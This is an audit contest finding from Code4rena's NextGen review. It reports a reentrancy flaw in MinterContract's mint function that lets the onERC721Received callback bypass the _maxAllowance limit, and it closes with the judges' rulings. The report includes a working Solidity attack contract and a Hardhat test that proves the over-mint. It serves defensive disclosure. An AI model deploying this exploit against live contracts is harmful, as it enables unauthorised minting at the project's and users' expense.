Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 190/243
Findings: 1
Award: $0.08
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.076 USDC - $0.08
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L217 https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/MinterContract.sol#L236 https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/NextGenCore.sol#L191 https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/NextGenCore.sol#L195
In the MinterContract contract, the mint function uses the _maxAllowance parameter to enforce a limit on the maximum mintId and performs verification using MerkleProof. However, we have identified an issue where retrieveTokensMintedALPerAddress(tokensMintedAllowlistAddress) is incremented after the minting process, while mintIndex(collectionCirculationSupply) is incremented before minting. If an attacker utilizes the onERC721Received interface for callback reentrancy, it can result in a problem where the mintIndex is increased without a corresponding increase in retrieveTokensMintedALPerAddress. This issue can render the maximum mintId limit imposed by the _maxAllowance parameter ineffective.
Attack contract example:
contract attack { IMinterContract public MinterContract; constructor(address _minter) { MinterContract = IMinterContract(_minter); } bytes4 aa = 0x150b7a02; bool public flag; function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4){ bytes32[] memory proof = new bytes32[](1); proof[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; if(flag == false){ flag = true; bytes32[] memory proof = new bytes32[](1); proof[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; MinterContract.mint(1, 1, 0, "123", address(this), proof, 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, 2); } return aa; } function main() public { bytes32[] memory proof = new bytes32[](1); proof[0] = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; MinterContract.mint(1, 1, 0, "123", address(this), proof, 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4, 2); } }
hardhat code:
it("#mintNFTCol1", async function () { await contracts.attack.main() const balance = await contracts.hhCore.balanceOf(contracts.attack.getAddress()) expect(parseInt(balance)).to.equal(2); // if other fails })
hardhat
It is recommended to place the minting function after data processing.
Reentrancy
#0 - c4-pre-sort
2023-11-20T06:00:18Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T13:59:48Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:38:53Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:38:58Z
alex-ppg marked the issue as partial-25
#4 - c4-judge
2023-12-08T19:16:55Z
alex-ppg marked the issue as partial-50
#5 - c4-judge
2023-12-09T00:18:52Z
alex-ppg changed the severity to 3 (High Risk)